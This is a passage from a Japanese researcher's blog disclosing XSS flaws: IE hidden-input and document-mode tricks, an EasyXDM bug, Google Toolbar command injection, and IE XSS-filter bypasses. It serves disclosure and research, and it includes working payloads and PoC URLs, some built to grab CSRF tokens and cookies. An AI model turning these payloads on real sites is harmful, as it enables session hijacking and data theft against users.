以上、U+2028/2029で起きる問題でした。U+2028/2029が絡んだ問題はまれにみますが、わかりにくいので、まだまだ潜んでいそうです。

最後に言いたいのですが、特に、利用者が更新する必要のあるアプリケーションを提供する人は、脆弱性があったということを絶対に告知すべきです。そうしないと、利用者が更新の必要性に気付けず、脆弱なバージョンを使い続けることになってしまいます。セキュリティの修正がある場合は、提供者側で可能な限り大きな声で更新を促すようにしてほしいと思います。

2016/04/14

hiddenなinput要素でユーザー操作を使わずにXSS

徳丸さんがブログで紹介されたことで、<input type=hidden>でのXSSが話題になっていますね!

hiddenなinput要素のXSSでJavaScript実行 | 徳丸浩の日記
http://blog.tokumaru.org/2016/04/hiddeninputxssjavascript.html

僕もちょうど、個人での検証の過程で発見した、hiddenでのXSS手法について、そろそろ共有しようと思っていたところでした。皆の関心が高いうちに、もう1つの方法を共有したいと思います!

徳丸さんのコードに倣って紹介します。今回は問題を簡単にするためにX-XSS-Protection:0をつけさせてもらいます。
<?php
header('X-XSS-Protection:0');
header('Content-Type:text/html;charset=utf-8');
?>
<body>
入力確認をお願いします。
<?php echo htmlspecialchars($_GET['t']); ?><br>
<form action='submit.php'>
<input type='hidden' name='t' value='<?php
  echo htmlspecialchars($_GET['t']); ?>'>
<input type='submit'>
</body>
この条件でIE11でユーザー操作を伴わないXSSをします!こうです!

http://example/test.php?t='style='behavior:url(?)'onreadystatechange='alert(1)
<body>
入力確認をお願いします。
'style='behavior:url(?)'onreadystatechange='alert(1)<br>
<form action='submit.php'>
<input type='hidden' name='t' value=''style='behavior:url(?)'onreadystatechange='alert(1)'>
<input type='submit'>
</body>
style属性にbehaviorをつけ、behaviorのURLの値に、任意の同一オリジン内のURLを指定すると、たとえhiddenの中でも、onreadystatechangeイベントが発火するようになります。
ただし、behaviorはIE10モード以下でないとサポートされていないので、ここにアクセスするだけでは動作しません。そこで、以前Shibuya.XSSの以下のスライドで紹介した、ドキュメントモードの継承というテクニックを使う必要があります。


ドキュメントモードを変えたページからフレームに埋め込めば、フレーム中のページのドキュメントモードも変更できるというテクニックでしたね。 というわけで、以下のようにIE10モードのページからフレームに埋め込めば、
<meta http-equiv="x-ua-compatible" content="IE=10">
<iframe src="http://example/test.php?t='style='behavior:url(?)'onreadystatechange='alert(1)"></iframe>
アラートが動作するはずです!
ちなみに、behaviorに指定したURLが一度キャッシュされると、onreadystatechangeイベントが発火しなくなるようなので注意してください。一度動いたのに動かなくなったという人は、このURLの文字列を適当な別のものに変えてみると、また動くようになると思います。

以上、IEでhiddenなinput要素でユーザー操作を使わずにXSSする手法を紹介しました。
もう1つ、Firefoxで、ユーザー操作不要の非常にトリッキーなhiddenでのXSS手法を知っています。これは次回の(?)ブログで紹介したいと思います。お楽しみに!

2016/04/08

EasyXDM 2.4.20で修正されたXSS

Update: English version is here: http://mksben.l0.cm/2016/04/easyxdm-xss-docmode-inheritance.html
------------------

EasyXDM というクロスドメインでのあれこれを便利にしてくれるライブラリの 2.4.20 で、自分の報告したXSS脆弱性が修正されています。使っている人はアップデートしましょう。

Release Security update - 2.4.20 · oyvindkinsey/easyXDM · GitHub
https://github.com/oyvindkinsey/easyXDM/releases/tag/2.4.20

以前にも脆弱性が指摘されていますが、それとは別の問題です。

http://blog.kotowicz.net/2013/09/exploiting-easyxdm-part-1-not-usual.html
http://blog.kotowicz.net/2013/10/exploiting-easyxdm-part-2-considered.html
http://blog.kotowicz.net/2014/01/xssing-with-shakespeare-name-calling.html


これ以下は技術的な説明です。
このバグはDOM based XSSなのですが、再現方法が少し変わっているので紹介します。

このXSSはIEでのみ動作します。おまけにドキュメントモードがIE7モード以下でないと起こりません。なぜかというと、XSSのある場所が、バグった挙動があると判断されたブラウザだけが通過する箇所にあり、その条件を満たすのが、IE7モード以下だけだからです。

次のcreateElement()の箇所でXSSが起きます。

https://github.com/oyvindkinsey/easyXDM/blob/2.4.19/src/Core.js#L507-509
    if (HAS_NAME_PROPERTY_BUG) {
        frame = document.createElement("<iframe name=\"" + config.props.name + "\"/>");
    }

このif文の条件のHAS_NAME_PROPERTY_BUGという値が、バグった挙動があると判定されたブラウザだけtrueになります。設定しているのは、以下の部分です。

https://github.com/oyvindkinsey/easyXDM/blob/2.4.19/src/Core.js#L474-482
function testForNamePropertyBug(){
    var form = document.body.appendChild(document.createElement("form")), input = form.appendChild(document.createElement("input"));
    input.name = IFRAME_PREFIX + "TEST" + channelId; // append channelId in order to avoid caching issues
    HAS_NAME_PROPERTY_BUG = input !== form.elements[input.name];
    document.body.removeChild(form);
    // #ifdef debug
    _trace("HAS_NAME_PROPERTY_BUG: " + HAS_NAME_PROPERTY_BUG);
    // #endif
}
formと名前付きのinputを作って、名前からinput要素にアクセスできるかテストしています。どうやら、IE7モード以下では、動的に作った名前付きの要素に、名前経由でアクセスできないバグがあるらしく、その回避策として、このようなコードで一度検証を行っているようです。

このテスト部分だけを実行できるページを以下に用意しました。IEでアクセスすることで、HAS_NAME_PROPERTY_BUGの値がtrueになることを確認できます。

http://vulnerabledoma.in/easyxdm/name_property_test.html

それでは、実際に脆弱なEasyXDMで、XSSが起きることを確認してみます。以下にIEでアクセスして、IEのF12開発者ツール( F12 → エミュレーション )から、ドキュメントモードをIE7以下にしてみてください。アラートが出るはずです。

http://vulnerabledoma.in/easyxdm/2.4.19_index.html?xdm_e=http%3A%2F%2Fvulnerabledoma.in&xdm_c=%22onload%3dalert(document.domain)//&xdm_p=0

これで、IE7モード以下でXSSが可能なことがわかりました。しかし、IE7モード以下でEasyXDMを利用しないとXSSが起こらないのでは、攻撃できる条件がかなり限られてしまいます。

そこで、最近公開した資料にも書いた、「ドキュメントモードの継承」というテクニックを使います。

ドキュメントモードを変更した親のフレームに埋め込むと、フレーム内のドキュメントモードも変更されるというテクニックでした。これを使ってみましょう。

http://l0.cm/easyxdm/poc.html
<meta http-equiv="x-ua-compatible" content="IE=5">
<iframe src="//vulnerabledoma.in/easyxdm/2.4.19_index.html?xdm_e=http%3A%2F%2Fvulnerabledoma.in&xdm_c=%22onload%3dalert(document.domain)//&xdm_p=0"></iframe>
<script>document.write("document.documentMode: "+document.documentMode)</script>
どうでしょうか?まだアラートは動かないはずです。親はIE=5指定により、IE5モードで動いているはずなのに、フレームの中のドキュメントモードは8までしか下がっていません。これは、フレーム内のページの先頭に<!DOCTYPE html>があるからです。この宣言がある場合、IE11では、フレームに埋め込んでも降格されるのは8までが限度になっています。XSSを成功させるにはなんとか7まで下げなければいけません。

ご安心ください。実は、さらに強力な継承方法があります。以下にIE11でアクセスしてみてください。

http://l0.cm/easyxdm/poc.eml

どうですか?今回はアラートが出たと思います。1つ前のページとの違いは、このページは、text/html ではなく、Content-Type: message/rfc822形式のページだということです。スライド中でも触れたのですが、IE11/Edgeは、今もmessage/rfc822形式のドキュメントをブラウザ内で開くことができます。(mhtml:という文字列はなくても開けます。)

message/rfc822形式のページは、デフォルトでIE5モードで表示されるようです。そしてどうやら、そこに埋め込んだフレームに対するドキュメントモードの継承の力が通常のtext/htmlよりも強いようなのです!例え、先頭に<!DOCTYPE html>があろうとも7までは降格させることができます。実際に、フレーム内のドキュメントモードをみると7まで下がっており、このおかげで、脆弱な箇所への到達に成功したことがわかります。

この手法を使えば、EasyXDMのXSSのように、IE7のドキュメントモードでしか再現しない問題を、脆弱性のあるページのドキュメントモードにかかわらず、また、ユーザによるドキュメントモードの切り替え操作なしに、攻撃可能な問題に発展させることができる、という訳です。

ちなみに、もう1つ強力な継承が起きる場所があります。それは、CVリスト(互換表示リスト)でIE7のドキュメントモードで表示指定しているサイトのフレームです。
CVリストはWindowsの以下の場所に保存されています。ここにリストされているドメインは、リストで指定したドキュメントモードで表示されるようになります。

%LOCALAPPDATA%\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml

ここにリストしてもらうには、面倒な手続きが必要ですが、XSSのためにそんなことをする必要はありません。なぜなら、既にここにリストされているドメインのXSSを探してきてそのページ内にフレームを作ればいいだけだからです。めちゃくちゃなことを言っているように聞こえるかもしれませんが、その方がMicrosoftを騙して手続きするよりもはるかに簡単で現実的です。

実験してみましょう。CVリストに載っている以下のMicrosoftのドメインのページを開いて(※Under Construction と表示されますがそれでOKです )、

http://epim.partners.extranet.microsoft.com/
<domain docMode="EmulateIE7" versionVector="7" uaString="7">epim.partners.extranet.microsoft.com</domain>
F12開発者ツールのコンソール上で、以下を実行してみてください。フレーム内のページのドキュメントモードは7まで降格され、message/rfc822の時と同様にEasyXDMの脆弱箇所に到達し、アラートが出ると思います。
document.write('<iframe src="//vulnerabledoma.in/easyxdm/2.4.19_index.html?xdm_e=http%3A%2F%2Fvulnerabledoma.in&xdm_c=%22onload%3dalert(document.domain)//&xdm_p=0"></iframe>')
message/rfc822の強い継承に気付くまではこの方法で攻撃可能なことを証明していました。今となってはmessage/rfc822の方が簡単なので、あえてこっちを使う理由はありません。

以上、EasyXDMのXSSの技術的な部分を説明しました。

今月は余力があれば(2月、3月書いてない分)もう1つか2つ記事を書く予定です。

2016/01/29

Google Toolbarのコマンドを利用したXSS

2015年6月頃にみつけた、toolbar.google.com の、少し変わったXSSを2つ紹介します。

The English version is here: http://mksben.l0.cm/2016/01/google-toolbar-xss.html

何が変わっているか


このXSSは、Google ToolbarがインストールされているIEでしか動作しません。Google Toolbarがインストールされていると、toolbar.google.com 上に用意されたUIから、ツールバーを操作するコマンドを実行できるようになります。このコマンドを利用することでXSSに繋げるという点が、よくあるものとは異なります。

どのようにコマンドを実行しているか


toolbar.google.com 上の次のページをみると、こんなコードを発見できます。

http://toolbar.google.com/fixmenu
<script language="JavaScript"> <!--
function command(s) {
window.location = 'http://toolbar.google.com/command?key=' + document.googleToken + s;
}
function fixMenu() {
command('&fixmenu=1');
alert(document.all['restartmessage'].innerText)
}
// -->
</script>
(省略)....
<input type=button onclick='javascript:fixMenu()' value="Reset IE's Toolbar menu">
このページでは、ツールバーの設定をリセットできるようになっています。

ページ内のボタンを押すと、fixmenu()→command('&fixmenu=1')と関数が呼ばれます。command()関数では、window.location="http://toolbar.google.com/command?key="...に対してナビゲーションしようとしているようにみえますが、実はこれがコマンド実行操作です。Google Toolbarがインストールされている場合は、http://toolbar.google.com/command に対するナビゲーション操作が、ページ遷移ではなく、コマンドの実行と解釈されるようになります。 このURLにつけられたクエリが実行したいコマンド操作に対応しています。例えば、このページでできるツールバーのリセット操作は fixmenu=1に対応しています。

'...?key=' + document.googleTokenの部分は、外部から勝手にコマンドを実行させないためのCSRFトークンの役割をしています。document.googleTokenには、Google Toolbar が設定したランダムな値が入ります。この値が正しくないと、コマンドは実行されません。この値は、toolbar.google.com 上のみで参照可能です。

ざっと、こんな作りになっています。
こういう特殊な実装部分にはいかにも脆弱性がありそうです。なんだかおもしろそうなので、時は2015年ですが、Google Toolbarをインストールして詳しくみてみることにしました。

コマンドの調査


まずは、どんなコマンドがあるか、toolbar.google.com 上に書かれたコマンドをみてまわったり、Toolbarのバイナリを覗いてみたりしました。
見ていく中で、navigatetoというコマンドがあることがわかりました。

このコマンドは、名前の通り、ナビゲーションをするためのコマンドでした。toolbar.google.com 上で開いたコンソールで次を実行すると、example.com に対してナビゲーションが起きました。(※なお、最新のGoogle Toolbarではこのコマンドは無くなっているようです。)
location="http://toolbar.google.com/command?key="+document.googleToken+"&navigateto=http://example.com/"
ナビゲーションとわかれば、httpなURL以外でもナビゲーションできるか試してみたくなります。
この部分をjavascript:のURLに変えて試してみます。
location="http://toolbar.google.com/command?key="+document.googleToken+"&navigateto=javascript:alert(1)"
すると、アラートが実行されました!おお!でも、まだ喜ぶところではありません。
なぜなら、document.googleTokenの値が外からはわからないため、このコマンドを誰かに罠リンクを踏ませて実行させるようなことはできないからです。逆に言えば、document.googleTokenの値をどうにかして取得できれば、スクリプトを実行させられるかもしれません。

XSS脆弱性の発見 その1


なんとかならないかと、toolbar.google.com のページをみてまわっていると、次のようなページをみつけました。

http://toolbar.google.com/dc/dcuninstall.html (現在はページが無くなっています。 WebArchive でみれます。)
<script language="JavaScript"> <!--
  function command(s) {
    window.location = 'http://toolbar.google.com/command?key=' + document.googleToken + s;
  }
  function OnYes() {
    var path = document.location.href.substring(0,document.location.href.lastIndexOf("/") + 1);
    command("&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=" + path + "dcuninstalled.html");
//    window.location=path + "dcuninstallfailed.html";
  }
// -->
</script>
...
      <script language="JavaScript"> <!--
document.write('<button default class=button name=yes ');
document.write('onclick="OnYes(); ">Uninstall Google Compute</button>');
// -->
</script> 
最初の例と同様に、ボタンを押すと、コマンドが実行されるようなページです。OnYes()からのcommand("&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=" + path + "dcuninstalled.html");で、コマンドの実行をしています。ここでそうしているように、& で繋げると複数のコマンドを一度に指定できるみたいです。
コマンドの詳細はさておき、注目すべきはここに含まれているpathという変数です。pathは直前で定義されています。
  var path = document.location.href.substring(0,document.location.href.lastIndexOf("/") + 1);
location.hrefからコマンドに含む文字列を受け取っている様子です。詳しくみると、URLの先頭から、 document.location.href.lastIndexOf("/") + 1で、URLの最後に出てくるスラッシュまでをsubstring()で切り取っています。このコードを書いた人が取り出したいのは、以下の太字部分の、ファイル名をのぞいたパスまででしょう。

https://toolbar.google.com/dc/dcuninstall.html

でも、この切り出し方は雑すぎます。余分なスラッシュをもっと後ろに入れられたら予想外のURLを切り取ることになります。

https://toolbar.google.com/dc/dcuninstall.html?xxx/yyy

この切り取った文字列はnavigateto=に連結されるので、ナビゲーションに使いたいようです。
ここではlocation.hrefの先頭から切り取っているため、いくら切り出すURLを間違えているとはいえ、一見、XSSどころかオープンリダイレクトバグにすらならないようにも思えます。

ところが、次のようなURLを与えたらどうでしょう? &がポイントです。

https://toolbar.google.com/dc/dcuninstall.html?&navigateto=javascript:alert(1)//

スラッシュはURL全体の一番最後にあるので、URL全てが切り取られることになります。
このURLがpathという変数に入り、コマンドとして実行されるときの値をみてみましょう。

http://toolbar.google.com/command?key=[TOKEN]&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=https://toolbar.google.com/dc/dcuninstall.html?&navigateto=javascript:alert(1)//dcuninstalled.html


URL に & を挿入したことで、ページ側が指定したnavigateto=に渡るURLは挿入した&の手前で区切られることになります。その後ろに、自身でもう1つnavigateto=を追加します。すると、navigatetoのコマンドが2つあることになりますが、同じコマンドが複数あるときは、一番後ろにあるコマンドが実行されるようになっているようです。よって、発生するnavigatetoによるナビゲーションは、javascript:alert(1)//dcuninstalled.html に対するものになります。これで、アラートが実行されます!

このように、コマンドにユーザー入力値を不用心に引き渡している部分を利用することで、document.googleTokenを知らずとも、XSSに繋げることに成功しました。

XSS脆弱性の発見 その2


さらに、同じようなパターンでXSSできないか toolbar.google.com を漁っていると、また面白いページをみつけました。

https://toolbar.google.com/buttons/edit/index.html
<script language=JavaScript>
<!--
document.custom_button_uid = "";
function command(s) {
  window.location = "http://toolbar.google.com/command?key=" +
      document.googleToken + s;
}

function Load() {
  var url = window.document.URL.toString();
  var url_pieces = url.split("?");
  if (url_pieces.length > 1) {
    var params = url_pieces[1].split("&");
    var i = 0;
    for (i = 0; i < params.length; i++) {
      param_pieces = params[i].split("=");
      if (param_pieces.length == 2 &&
          param_pieces[0] == "custom_button_uri" &&
          param_pieces[1].length > 0) {
        document.custom_button_uid = unescape(param_pieces[1]);
      }
    }        
  }
  if (document.custom_button_uid != "") {
    action.innerHTML = document.forms[0].edit_mode_title.value;
    command("&custom-button-load=" + document.custom_button_uid);
  }
}
....
// -->
</script>
<body onload="Load()">
順に見ていきます。
ページを開くと、body onloadで、Load()関数が実行されます。
<body onload="Load()"> 
Load()関数では、document.URLから自身のURLをurl変数に入れ、
var url = window.document.URL.toString();
クエリを & で分解し、さらに = で分解して、パラメータ名と値のペアを取り出しています。
ここでは、太字部分にあるようにcustom_button_uriというパラメータを探しています。パラメータがあれば、その値をdocument.custom_button_uidという変数に代入するようになっています。
  var url_pieces = url.split("?");
  if (url_pieces.length > 1) {
    var params = url_pieces[1].split("&");
    var i = 0;
    for (i = 0; i < params.length; i++) {
      param_pieces = params[i].split("=");
      if (param_pieces.length == 2 &&
          param_pieces[0] == "custom_button_uri" &&
          param_pieces[1].length > 0) {
        document.custom_button_uid = unescape(param_pieces[1]);
      }
    }        
  }

ここで設定された、document.custom_button_uidはこのすぐ後で、コマンド実行関数へと引き渡されます。
  if (document.custom_button_uid != "") {
    action.innerHTML = document.forms[0].edit_mode_title.value;
    command("&custom-button-load=" + document.custom_button_uid);
  }
少なくとも、ユーザー入力値がcustom_button_uriというクエリを介してコマンド文字列として渡っているということです。危なっかしいかんじがしますが、&ごとにクエリを分解しているため、1つ目のXSSで示したような、単純に&で追加のコマンドを紛れ込ますような手は使えません。

XSSは無理かと思われましたが、もう一度、document.custom_button_uidを設定しているところをよくみてみると、
document.custom_button_uid = unescape(param_pieces[1]);
なんと都合がいいことに、custom_button_uriの値をunescape関数にかけているではありませんか。ということは、発見されると分解されてしまう & と = を以下のようにエンコードしてcustom_button_uriに渡せば、

https://toolbar.google.com/buttons/edit/index.html?custom_button_uri=%26navigateto%3Djavascript:alert(document.domain)

%26が&、%3Dが=にunescapeされ、最終的に実行されるコマンドは次のような、navigateto=を含むものになります。

http://toolbar.google.com/command?key=[TOKEN]&custom-button-load=&navigateto=javascript:alert(document.domain)

ドーン!



おわりに


この2件の問題はGoogle VRPを介して報告し、 $3133.7 × 2 の報奨金を獲得しました。
文書化されていないコマンドの動作を把握するのは大変でしたが、古い技術にひっそりと残っている脆弱性を暴けたときの喜びはひとしおでした。
古い技術とはいえ、特権が与えられた機能の実装が脆弱性に繋がってしまうことは、最近トレンドマイクロのパスワードマネージャでもあったように、今の時代の技術にも潜んでいる、今後も注意を払う必要がある普遍の部分だと思います。

最後に、この時期に毎年紹介しているGoogleからのクリスマスプレゼント、今年も頂いたので紹介したいと思います。(以前いただいたものはこちら: Chromebook、Nexus 10、Nexus 5、Moto 360 )

Googleのロゴ入りのUSB Armory というガジェットと、Bug Bountopoly(バグハンター版のモノポリー?!)、Googleセキュリティチームからのポストカードです。





日本語のメッセージと バグハンターのイラスト をかいてくれたのは、 夏に日本のGoogleオフィスでお会いしたセキュリティチームのStephenさんです。掲載許可をもらったので載せます。かわいい!

今年もXSS送りできるよう頑張ります!

2015/12/17

IE/EdgeのXSSフィルターを利用したXSS

English version: http://mksben.l0.cm/2015/12/xxn.html
------------------------------------------------
2015年12月のMicrosoftの月例アップデートで修正された、Internet ExplorerとEdgeのXSSフィルターに存在した問題(CVE-2015-6144 および CVE-2015-6176)について書きます。

2015 年 12 月のマイクロソフト セキュリティ情報の概要
https://technet.microsoft.com/ja-jp/library/security/ms15-dec.aspx

修正された問題は、2015年10月に行われたセキュリティカンファレンスのCODE BLUEで詳細を伏せて発表した、IE/EdgeのXSSフィルターの動作を利用してXSS攻撃する手法の一部です。「一部」と書いたように、今回のパッチでは、報告した問題の全てが修正された訳ではありませんでした。当初、発表するつもりで作った、攻撃手法の詳細も含めたスライドを、未修正の部分を伏せて以下で公開します。



また、以下で3つの手法のPoCを公開しています。修正され次第、他のPoCも公開します。

http://l0.cm/xxn/

詳しい原理等については資料を見てもらうとして、この記事では、ざっくりと手法に触れながら、今回施された修正方法に言及したいと思います。

1. style属性の遮断を悪用するパターン

次のような、style属性の追加によるXSSの遮断を、


</style>の閉じタグに誤マッチさせることで、閉じタグを破壊し、攻撃を成立させます。


Microsoftはこの問題に対し、style属性部の遮断時だけ、強制的にmode=blockの動作にすることで回避したようです。確かに問題は起きなくなりますが、これじゃあ、X-XSS-Protection:1の動作とはなんだったのか…、という気がします。
ただ、確実な回避策にはなっているので、ひとまずはこれでよいと思います。(実際、僕はデフォルト動作をひとまずmode=blockにすることで回避したらどうかとMSに提案していました。)

2. 文字列リテラルの遮断を悪用するパターン その1( <script src=***></script> を利用)

次のような、文字列リテラルでの、プロパティアクセス後の代入による攻撃(実際には例えば、";document.body.innerHTML="攻撃文字列"//のような形で攻撃します)の遮断を利用し、


スクリプトタグのsrcの値に誤マッチさせることで、外部リソースをスクリプトとしてロードして攻撃します。

どう修正されたかは、次の手法でまとめて紹介します。

3. 文字列リテラルの遮断を悪用するパターン その2( <link rel=stylesheet href=***> を利用)

同じく、文字列リテラルでの遮断を、無関係の文字列に誤マッチさせます。
今度は、<link>タグのhrefの相対パスの.を利用し、攻撃に繋げるという方法です。


2と3の問題のMicrosoftの修正にはびっくりしました。
プロパティアクセス後の代入の遮断時だけ、.を、これまでの#の代わりに、^(0x5E)に置換するよう変更したのです!なんじゃそりゃ~(^_^)!
確かに、この2つの問題は回避できるかもしれませんが、この修正は良いとは思えません。

JavaScriptにおいて、^は演算子です。document.locationがdocument^locationに変わってもエラーになりません。この時点で、 既存のインラインスクリプトに含まれる.をうまいこと^に変えることで、エラーを起こさずに何かおかしな動作を意図的に起こせるかもしれないことは容易に想像できます。じゃあ、.が JavaScriptの正規表現に含まれていたら、そしてそれが^に置換されたら、どうなるでしょう…?考え出すと、これならOKという気はまったくしません。

このような修正を繰り返しても、XSSフィルターを使ったXSSパズルのピースが変わっただけであり、本質的には何も安全になっていないと思います。

報告では、XSSフィルターの遮断方法はこのままじゃまずいよね、という思いも伝えられたと思っていただけに、今回のパッチの回避方法は、現在の遮断方法に危機感を持っていないとしか思えないものであり、非常に残念でした。

もう一度コンタクトし直して、そういった思いを伝え、今回、紹介を伏せた、まだ修正されていないXSSフィルターの問題が修正される時には、根本的な部分まで改善されることを期待したいと思います。

開発者の方には、資料の中でも書いた通り、引き続き、自分のサイトのすべてのページで、X-XSS-Protection:1;mode=blockかX-XSS-Protection:0のヘッダを指定することを推奨したいと思います。これがXSSフィルターによって、不本意にページを変更されることの開発者側でできる回避策になります。

2015/09/29

ブラウザのXSS保護機能をバイパスする(7)

English version: http://mksben.l0.cm/2015/09/bypassing-xss-filter-hzgb2312.html
--------------------------------------------------------

HZ-GB-2312という文字コードのエスケープシーケンスにあたるバイト、~[0x0A]と~{を使ってIEのXSSフィルターをバイパスできることに気付いたので紹介します。
この手法はページのContent-Typeレスポンスヘッダで文字コードが指定されていない時限定で使えます。

バイパス 1


 以下にIEでアクセスしてAAAにマウスを移動し、XSSフィルターに遮断されずにアラートが出ることを確認してください。
http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonmouseover=alert(1)%3EAAA


以下のようにすればユーザインタラクションなしにもできます。
http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a


XSSフィルターは、Content-Typeレスポンスヘッダで文字コードが指定されていないとき、HZ-GB-2312のエスケープシーケンスにあたるバイト列を特別扱いしているようです。 (多分、昔、文字コードの自動選択でHZ-GB-2312が選択されていた時に、エスケープシーケンスをうまく攻撃文字列の間に挟んだりするとバイパスできる場合があったりしたために、こんな風に特別扱いして、で、なんかうまくいってないと推測します。 今は、少なくとも日本語のシステムロケールでは、HZ-GB-2312は自動選択されないはず。)

属性を区切る文字がくるところに~[0x0A]を置くと遮断に失敗します。

charsetがContent-Typeレスポンスヘッダで適切に指定されたページでは、以下のように適切にフィルターされます。
http://vulnerabledoma.in/char_test?charset=utf-8&body=%3Cx~%0Aonmouseover=alert(1)%3EAAA


ただし、Content-Typeレスポンスヘッダでなくmetaタグだけでcharsetを指定した場合だとまだ動きます。
http://vulnerabledoma.in/xssable?q=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a

バイパス 2


以下にアクセスし、「go」ボタンをクリックすると、XSS脆弱性がある文字列リテラル部から、click()が呼び出されることが確認できます。(※click()が呼び出される側はドキュメントモードが古くないとエラーになります。)

http://l0.cm/xssfilter_hz_poc.html


次のようなコードからclick()が呼び出されています。
http://vulnerabledoma.in/xss_js?q=%22%3B~{valueOf:opener.button.click}//
<script>var q="";~{valueOf:opener.button.click}//"</script>

これも通常なら、以下のように";{valueOf:という文字列で遮断が起こるのですが、

http://vulnerabledoma.in/char_test?body=%22%3B{valueOf:

~{というHZ-GB-2312のエスケープシーケンスが間に入ってきていることで遮断に失敗します。

valueOfの代わりにtoStringも使えます。

http://vulnerabledoma.in/xss_js?q=%22%3B~{toString:opener.button.click}//
<script>var q="";~{toString:opener.button.click}//"</script>
この2つの手法、まず";~{valueOf:}//がなぜか遮断されないことに気付いたのが発見のきっかけです。最初はHZ-GB-2312が関係してるとは思わなかったのですが、どうみてもmshtml.dll内の正規表現には合致するのにおかしいと思って、みていくと遮断されないのが~{が入っているときだけだったので、HZ-GB-2312が関係していると勘付きました。じゃあ他にもエスケープシーケンスが入ったらうまく遮断されないケースがあるのではないかとみていったところ、バイパス1のケースにも気付きました。

文字コード関係のことには普通の人よりは触れてきたので、自分だからこそ気付けた問題だったかもしれません。

2015/06/16

ブラウザのXSS保護機能をバイパスする(6)

Hi! Are you English-speaker? Good news! Finally, I started my blog in English:

Bypassing IE's XSS Filter with showModalDialog
http://mksben.l0.cm/2015/06/bypassing-xss-filter-showmodaldialog.html

I'm not good at English, but I think it is easier to read than Google translate. Maybe.
Enjoy!
-----------------------------------------------------------------------------

先日、古くからあるJavaScriptの関数の1つの、showModalDialogの挙動について詳しくみていました。showModalDialogは、Chromeでは既に動かないし、次期Windowsに搭載されるMicrosoftの新ブラウザ「Edge」でも廃止、Firefoxでも間もなく廃止予定という、着々と消されつつある機能です。なぜこんな死にかけを見ようと思ったかというと、この関数は、ただ新しいウインドウを開くだけではない、個性的な機能を持っており、ちゃんと見てみれば今でも何か面白いことがみつかるかもしれないと思ったからです。その結果、IEのXSSフィルターをバイパスできることに気付いたので今日はそれを紹介します。

まずはshowModalDialogの機能をおさらいしましょう。




showModalDialogの第1引数はモーダルなウインドウ(閉じるまで他のウインドウの操作ができない)にロードするURL、第2引数はモーダルなウインドウに渡せる特別な引数です。第2引数にいれた値は、モーダルなウインドウのwindow.dialogArgumentsプロパティを通じてアクセスできます。さらに、モーダルなウインドウ中で、window.returnValueプロパティに何かを代入すると、モーダルなウインドウを閉じた時に、showModalDialogを実行した側の戻り値に使われます。

うわあ。この、古い機能のダサすぎるかんじ、いいですね…(*´_`*)

要は、dialogArgumentsやreturnValueは、ウインドウ間の情報の引き渡しに使われているということです。ここで、dialogArgumentsやreturnValueは2つのウインドウのオリジンが異なっていても渡せるのか、ということが気になりました。それぞれ、渡せるとすれば、渡せないことを前提にdialogArguments/returnValueを書き出すようなことをしていればXSSが起きるかもしれないし、returnValueに機密情報を入れている場合は、無関係なところに情報が渡るかもしれないことになります。ということで、簡単にテストしてみました。

まず、dialogArgumentsは、現在showModalDialogをサポートしているFirefox、IE、Safari(OS X)のすべてで別オリジンに引き渡すことはできませんでした。

Firefoxは過去に値を設定できていたようですが、脆弱性として修正されたようです。

MFSA 2010-04: window.dialogArguments がクロスドメインで読み取り可能なことによる XSS
http://www.mozilla-japan.org/security/announce/2010/mfsa2010-04.html

一方、returnValueは違いました。Firefoxでは制限されていましたが、SafariとIEではオリジンを超えて引き渡すことができました。

以下でテストできます。

http://vulnerabledoma.in/showModalDialog/opener.html

Safariは素直に引き渡せます。x-originのボタンを押しダイアログを開いて、「Set returnValue and close this dialog」を押し、異なるオリジン( www.vulnerabledoma.in → vulnerabledoma.in ) へ 値が渡ることを確認してみてください。
IEは間にリダイレクトを挟むと渡せます。x-originのボタンからは動かないですが、x-origin(redirect) のボタンからは動きます。

この挙動によって、次の2つの問題が考えられます。

1. showModalDialogを実行した場所が同じオリジンかどうか確認せずにreturnValueに機密情報を渡している場合に、無関係のサイトに情報を奪取される可能性がある。
2. showModalDialogで開いたダイアログ内で攻撃者のページまでページ遷移を発生させることができた場合、別ページで攻撃者の設定したreturnValueが元ページの戻り値に渡り、XSSなどが発生する可能性がある。(ただしこれはSafariのみ。IEはshowModalDialogのウインドウでのページ遷移が制限されている模様。)

どちらもターゲットのサイトでshowModalDialogがたまたまこの条件で使われていなければ問題にならないので、あまり大きな問題ではないと思います。
今回は、showModalDialogの安全な使い方を論じるつもりでこの話をしたわけではありません。
ここからが本題です。この挙動を使ってIEのXSSフィルターをバイパスします。

悪用が可能になるには次の2つの条件が必要です。

1. JavaScriptの文字列リテラルにXSSがある。
2. JavaScriptのプロパティのどれかに機密情報が含まれている。


以下はこの条件を持ったテストページです。

http://vulnerabledoma.in/xss_token?q=[XSS_HERE]
<form name=form>
<input type=hidden name=token value=f9d150048b>
</form>
<script>var q="[XSS_HERE]"</script>

ページ内にCSRFトークンが含まれており(条件2)、XSS_HERE が入っている文字列リテラルの部分にXSSがある(条件1) といったかんじです。
今回はこのページからトークンを奪います。早速ですが、以下にバイパスのデモページを用意したので、アクセスして、"go"をクリックしてみてください。

http://l0.cm/xssfilter_bypass/showModalDialog.html

うまくいけば、モーダルダイアログを閉じた時にトークンがアラートされるはずです。

原理はまず、XSSに脆弱なページに3xx台のリダイレクトをかますことで、前述のIEの挙動を利用してreturnValueが別オリジンにも渡るようにします。
リダイレクト後の脆弱なページには次のような文字列を挿入します。

http://vulnerabledoma.in/xss_token?q=%22%3BreturnValue=form.token.value//
<form name=form>
<input type=hidden name=token value=f9d150048b>
</form>
<script>var q="";returnValue=form.token.value//"</script>
reurnValueにtokenを引き渡しています。これでウインドウを閉じた時に、別オリジンに情報がパスされるという訳です。

また、次のような文字列も攻撃に使える場合があるでしょう。

";returnValue=document.cookie//
";returnValue=localStorage.key//

同一オリジンの別のwindowオブジェクトにwindow.openerを経由してアクセスできたらもっと面白いと思ったのですが、openerを参照できず、失敗に終わりました。誰かこの手の方法、思いつきますかね?

